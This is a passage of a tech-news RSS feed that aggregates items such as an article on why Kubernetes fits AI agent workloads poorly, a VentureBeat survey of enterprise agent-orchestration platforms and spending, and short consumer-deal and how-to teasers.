<p class="wp-block-paragraph">The weeks immediately after go-live are when training becomes real and when the gaps in pre-go-live preparation surface. The departmental expert should have a defined support role in that period: available to their colleagues, connected to the project team and empowered to escalate issues that need resolution. This is not a minor detail. It is where the investment in internal expertise pays its most important dividends.</p>



<p class="wp-block-paragraph">None of this requires a large budget or a dedicated training function. It requires early decisions about who will own the training relationship inside each department and the organizational commitment to support those people through the implementation, rather than treating training as a final phase activity.</p>



<p class="wp-block-paragraph">The vendor knows the software. That knowledge is valuable and should not be wasted. But your people know your business, your processes and the way work flows on any given day. The question is not whether to use your vendor’s expertise. It is whether you are also building the internal expertise that turns a trained workforce into a prepared one. The organization that does both will not just go live. It will thrive.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple's Back to School offers have started, but you can do much better]]></title>
<description><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.Apple's lates Back to School offer is now live - image credit: AppleEven when it isn't raising prices, it is a rule with Appl...]]></description>
<link>https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673004/ios-mac-os/apples-back-to-school-offers-have-started-but-you-can-do-much-better/</guid>
<pubDate>Thu, 16 Jul 2026 11:55:28 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Apple has launched an unusually limited Back to School series of deals and they are not to be dismissed, but there are far greater discounts to be had from other resellers.<br><br><div><img src="https://photos5.appleinsider.com/gallery/67772-143897-000-lead-Back-to-School-xl.jpg" alt="Two colorful stylized tablets float on a black background, one with yellow feather-like pattern, one with purple folds, surrounded by cartoon icons including a hand, eyes, starburst, and small Apple logo" height="720"><br><span>Apple's lates Back to School offer is now live - image credit: Apple</span></div><br>Even when it isn't <a href="https://appleinsider.com/articles/26/06/25/apple-confirms-price-nikes-across-macs-ipads-and-more">raising prices</a>, it is a rule with Apple that it will never actually have sales on its products, except for certain <a href="https://appleinsider.com/articles/24/05/08/march-iphone-discounts-in-china-may-have-saved-apples-quarter">regular promotions</a> in China. So for this latest deal, it is again falling back on offering Apple gift cards alongside selected products.<br><br>So when a user buys one of these devices, they get a gift card that amounts to money off their next purchase. Consequently if someone knows they need two Apple devices, they can get money off the second one.<br><br><br> <a href="https://appleinsider.com/articles/26/07/16/apples-back-to-school-offers-have-started-but-you-can-do-much-better?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244970?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[New agentic compute patterns]]></title>
<description><![CDATA[For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start th...]]></description>
<link>https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672922/ai-nachrichten/new-agentic-compute-patterns/</guid>
<pubDate>Thu, 16 Jul 2026 11:19:03 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For a decade, Kubernetes was the right answer. It organized containers, scaled services horizontally and gave platform teams a shared vocabulary for running software in production. It abstracted away enough of the underlying complexity that engineers could stop thinking about servers and start thinking about services. Most cloud-native infrastructure today is built on top of it, directly or in spirit, and EKS made that model the default for the majority of enterprise teams running workloads on AWS.</p>



<p class="wp-block-paragraph">The workload that defined that era was the stateless HTTP request, fast in, fast out, disposable. A user action triggers a request, the request hits a service, the service returns a response and the container is done. Kubernetes was optimized for that pattern down to the scheduler internals: Bin-pack containers onto nodes, autoscale on CPU and memory, evict and reschedule when something goes wrong. The whole system is tuned around the assumption that individual units of work are short, stateless and interchangeable.</p>



<p class="wp-block-paragraph">That assumption no longer holds for the workloads that matter most right now.</p>



<h2 class="wp-block-heading">The agent workload is structurally different</h2>



<p class="wp-block-paragraph">Agents are long-running, stateful processes. They reason across time, call external tools, spawn subprocesses, write and execute code, and make decisions that depend on what happened five steps earlier in the same task. A single-agent workflow might run for minutes or hours, touching a dozen external systems and generating intermediate outputs that subsequent steps depend on. The compute layer for that kind of work needs to do things the old model was never asked to do. That is the new pattern: Execution infrastructure designed around agent semantics rather than request semantics.</p>



<p class="wp-block-paragraph">The Kubernetes community itself has acknowledged this mismatch. In March 2026, Kubernetes SIG Apps published an<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> introduction to Agent Sandbox</a>, a new CRD-based abstraction designed specifically for singleton, stateful agent workloads. The framing is direct: The ecosystem is moving from short-lived, isolated tasks to deploying multiple, coordinated AI agents that run continuously, and mapping those workloads to traditional Kubernetes primitives requires an entirely new abstraction. The fact that the Kubernetes maintainers built a dedicated primitive for this, rather than recommending teams compose one from existing resources, is itself the clearest signal that agent execution does not fit the old model.</p>



<h2 class="wp-block-heading">What agent execution actually requires</h2>



<p class="wp-block-paragraph">Concretely, it requires four things. First, isolated execution environments that provision in milliseconds, not minutes, so each agent task gets its own sandbox for code execution and tool calls without blocking the reasoning loop. The difference between a two-second environment and a two-minute environment is not a performance optimization; it determines whether the architecture is viable at all. Second, durable state management across the full task lifecycle, so an agent can pause, hand off or resume without re-initializing from scratch and burning tokens to reconstruct context it already built. Third, coordination primitives for multi-agent work: The ability to spawn subagents, pass structured outputs between them and track task dependencies across a graph of concurrent processes. Production agent systems are rarely single agents; they are pipelines of specialized agents with handoffs that need to be reliable and inspectable. Fourth, credentials and secrets management that travel with the execution context, so agents can authenticate to external services securely without exposing credentials in the task definition, logs or the environment variables of a shared container.</p>



<h2 class="wp-block-heading">The mismatch shows up fast in production</h2>



<p class="wp-block-paragraph">Kubernetes and EKS expose the mismatch quickly in practice. Pod eviction terminates an agent mid-task with no clean recovery path. Autoscaling reads CPU utilization as the load signal, but an agent holding a long inference connection looks idle to the scheduler even when it is doing the most consequential work in the pipeline. Provisioning a new environment takes 45 seconds to two minutes on a well-tuned cluster; agent workloads need that in under two seconds or the reasoning loop stalls and the user experience degrades visibly. These are not edge cases or misconfigurations. They are the normal operating conditions for production agent workloads running on infrastructure that was not designed for them.</p>



<p class="wp-block-paragraph">The utilization data makes the broader cost picture even starker. The<a href="https://url.usb.m.mimecastprotect.com/s/zk-6CB1MnMHEQoqvI6hNf2eRQz?domain=cast.ai/" target="_blank" rel="noreferrer noopener"> 2026 State of Kubernetes Optimization Report</a> from CAST AI, drawn from analysis of over 23,000 production clusters across AWS, Azure and GCP, found average CPU utilization at 8 percent, down from 10 percent the year prior. Memory utilization fell from 23 to 20 percent. CPU overprovisioning jumped from 40 to 69 percent year over year. These numbers reflect clusters running traditional workloads, and the pattern is worsening, not improving, as environments scale. Agent workloads compound this problem further. An agent holding an open inference connection or waiting on a tool call registers as idle to a scheduler that reads CPU and memory as the only meaningful load signals. The infrastructure responds to the wrong metric, overprovisioning capacity for demand it cannot measure, while the actual bottleneck, environment provisioning latency and state continuity, goes unaddressed.</p>



<h2 class="wp-block-heading">Security is not the same problem it was before</h2>



<p class="wp-block-paragraph">Agent workloads change the threat model at the infrastructure level. A compromised stateless service exposes a narrow surface defined by its API contracts. A compromised agent exposes every system it can reach, every credential it holds and every action it is authorized to take on behalf of the user. Agents generate and execute their own code, make non-deterministic tool-call decisions and accumulate context across long-running sessions. Standard container namespacing does not contain that kind of risk. Kernel-level isolation, default-deny network egress, scoped credentials per session and agent-aware observability are not optional hardening steps. They are baseline requirements for running agents in production.</p>



<h2 class="wp-block-heading">What teams that ship agents have already figured out</h2>



<p class="wp-block-paragraph">Some of the clearest evidence for this shift comes not from infrastructure vendors but from product engineering teams running agents at scale on their own code. In late 2025, Ramp’s engineering team published a<a href="https://url.usb.m.mimecastprotect.com/s/Co8bCDwO0Ohg2PpXhAiRfjbcM8?domain=engineering.ramp.com" target="_blank" rel="noreferrer noopener"> detailed account of building Inspect</a>, their internal background coding agent. Each Inspect session runs in a sandboxed VM with a full-stack development environment and deep integrations across their observability, CI, and deployment tooling. The architecture requirements map almost exactly to the four primitives above. Filesystem snapshots keep sessions starting in seconds rather than minutes. Sessions are isolated and stateful. The agent can run tests, review telemetry, query feature flags and visually verify frontend changes in a real browser. And the whole system supports unlimited concurrency, so engineers can spin up ten parallel sessions exploring different approaches to the same problem without contention.</p>



<p class="wp-block-paragraph">The results speak for themselves. Within months of launch, roughly 30 percent of all pull requests merged to Ramp’s frontend and backend repositories were written by Inspect. That level of adoption was not mandated. It happened because the execution environment was fast enough, capable enough and well-integrated enough that the agent was strictly better than a local workflow for a meaningful share of tasks. The key insight from the Ramp case is not about the model. It is about the execution layer. As their team put it, session speed should only be limited by model-provider time-to-first-token; everything else, like cloning and installing, needs to be done before the session starts. That is a statement about infrastructure, not intelligence.</p>



<h2 class="wp-block-heading">The ecosystem is catching up, but defaults are sticky</h2>



<p class="wp-block-paragraph">None of that is a criticism of the tools. Kubernetes solved exactly the problem it was designed for, and it solved it well. The issue is that infrastructure defaults are sticky. Teams inherit them, build on top of them and optimize within their constraints long after the underlying workload has changed. The Kubernetes community’s own response, the<a href="https://url.usb.m.mimecastprotect.com/s/U22qCA8LmLh7yY0jIGfGfGdvGo?domain=kubernetes.io/" target="_blank" rel="noreferrer noopener"> Agent Sandbox project under SIG Apps</a>, validates the thesis that a new abstraction is necessary. The new primitives the community is building include warm pools for near-zero cold starts, lifecycle management for suspending and resuming idle agents without losing state, and pluggable kernel isolation for secure execution of untrusted code. These are not incremental improvements to existing resources. They are net-new abstractions that acknowledge the old model does not stretch to fit.</p>



<p class="wp-block-paragraph">But adoption of purpose-built agent infrastructure remains early. Enterprises building agent pipelines today are largely running a request-oriented orchestration model against an execution-oriented workload, and the mismatch shows up in task failure rates, runaway costs and debugging cycles that have no good tooling because the observability layer was also designed for stateless services.</p>



<h2 class="wp-block-heading">The structural advantage is available now</h2>



<p class="wp-block-paragraph">The infrastructure to close that gap exists now. The prerequisite is recognizing that agent execution is a first-class compute pattern with its own primitives and its own requirements, not a variant of the stateless service model that defined the last decade. Teams that make that shift early will have a meaningful structural advantage. The ones that do not will spend the next two years wondering why their agent systems are unreliable at a scale that should be tractable.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 16. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3672877/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-16-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672877/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-16-juli/</guid>
<pubDate>Thu, 16 Jul 2026 11:09:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784192412"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784192412">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Maps als Alleskönner: So misst man Entfernungen, Flächen und Steigungen]]></title>
<description><![CDATA[Mit Google Maps findet ihr nicht nur den schnellsten Weg zum Ziel, sondern habt auch ein mächtiges Messwerkzeug zur Hand. Egal, ob ihr eure Jogging-Strecke planen, die Größe eines Grundstücks herausfinden oder die Steigung eurer nächsten Radtour prüfen wollt – Google Maps kann das alles. Wir zeig...]]></description>
<link>https://tsecurity.de/de/3672728/android-tipps/google-maps-als-alleskoenner-so-misst-man-entfernungen-flaechen-und-steigungen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672728/android-tipps/google-maps-als-alleskoenner-so-misst-man-entfernungen-flaechen-und-steigungen/</guid>
<pubDate>Thu, 16 Jul 2026 09:56:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mit Google Maps findet ihr nicht nur den schnellsten Weg zum Ziel, sondern habt auch ein mächtiges Messwerkzeug zur Hand. Egal, ob ihr eure Jogging-Strecke planen, die Größe eines Grundstücks herausfinden oder die Steigung eurer nächsten Radtour prüfen wollt – Google Maps kann das alles. Wir zeigen euch, wie ihr die praktischen Funktionen am PC und auf dem Smartphone optimal nutzt.]]></content:encoded>
</item>
<item>
<title><![CDATA[Nie wieder leere Batterien: Diese geniale Taschenlampe braucht nur deine Hand]]></title>
<description><![CDATA[Ob Stromausfall, Camping oder Wanderung: Diese Kurbeltaschenlampe von Amazon liefert Licht ganz ohne Batterien und ist jederzeit einsatzbereit.]]></description>
<link>https://tsecurity.de/de/3672671/it-nachrichten/nie-wieder-leere-batterien-diese-geniale-taschenlampe-braucht-nur-deine-hand/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672671/it-nachrichten/nie-wieder-leere-batterien-diese-geniale-taschenlampe-braucht-nur-deine-hand/</guid>
<pubDate>Thu, 16 Jul 2026 09:32:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ob Stromausfall, Camping oder Wanderung: Diese Kurbeltaschenlampe von Amazon liefert Licht ganz ohne Batterien und ist jederzeit einsatzbereit.]]></content:encoded>
</item>
<item>
<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3672033/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 16 Jul 2026 00:46:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 6: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 7: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 8: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing on model-provider platforms — Anthropic’s Claude leads at 40% — chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed “agents” are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The question for subsequent waves is whether the deployed reality closes the gap on the ambition — or whether the chatbot trap proves stickier than the roadmap assumes.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Artificial Intelligence]]></title>
<description><![CDATA[Latest from todaynewsDeepMind CEO again pushes for a frontier AI standards bodyDemis Hassabis argues that a US government-led industry effort is needed to keep AGI-like developments safe; analysts aren’t so sure.By Evan SchumanJul 15, 20268 minsArtificial IntelligenceGovernmentLaws and Regulation...]]></description>
<link>https://tsecurity.de/de/3671869/ai-nachrichten/artificial-intelligence/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671869/ai-nachrichten/artificial-intelligence/</guid>
<pubDate>Wed, 15 Jul 2026 23:02:40 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><section class="latest-content"><div class="container"><header class="latest-content__header"><h2 class="latest-content__title sr-only"><span>Latest from today</span></h2></header><div class="grid latest-content__content"><div class="col-12 col-7@md col-8@lg"><div class="latest-content__content-featured"><a class="card card--xxl " href="https://www.computerworld.com/article/4197511/deepmind-ceo-again-pushes-for-a-frontier-ai-standards-body-2.html" aria-label="Go to content"><div class="card__header"><span class="card__content-type">news</span></div><div class="card__image"><div class="insider-image"><div class="image"><img width="400px" src="https://www.computerworld.com/wp-content/uploads/2026/07/4197511-0-18848000-1784149211-shutterstock_2540223947.jpg?quality=50&amp;strip=all&amp;w=1046" data-id="idg_render_hero_index_one_card_image" sizes="
            (min-resolution: 3dppx) and (max-width: 600px) 900px,
            (min-resolution: 3dppx) and (max-width: 1200px) 1200px,

            (min-resolution: 2dppx) and (max-width: 600px) 900px,
            (min-resolution: 2dppx) and (max-width: 1200px) 1200px,

            (min-resolution: 1dppx) and (max-width: 600px) 900px,
            (min-resolution: 1dppx) and (max-width: 2000px) 1300px" alt="Image" loading="eager"></div></div></div><h3 class="card__title">DeepMind CEO again pushes for a frontier AI standards body</h3><p class="card__description">Demis Hassabis argues that a US government-led industry effort is needed to keep AGI-like developments safe; analysts aren’t so sure.</p><div class="card__info"><span>By Evan Schuman</span></div><div class="card__info card__info--light"><span><span itemprop="datePublished" content="2026-07-15T20:59:29+00:00">Jul 15, 2026</span></span><span>8 mins</span></div><div class="card__tags"><span class="card__tag"><span class="tag">Artificial Intelligence</span></span><span class="card__tag"><span class="tag">Government</span></span><span class="card__tag"><span class="tag">Laws and Regulations</span></span></div></a>
		</div><div class="grid grid--cols-7@md grid--cols-8@lg latest-content__content-main"><div class="col-12 col-7@md col-4@lg latest-content__card-main"><a class="card " href="https://www.computerworld.com/article/4197437/apples-openai-lawsuit-the-lunacy-of-trying-to-limit-what-ex-employees-can-tell-future-employers.html" aria-label="Go to content"><div class="card__header"><span class="card__content-type">opinion</span></div><div class="card__image">
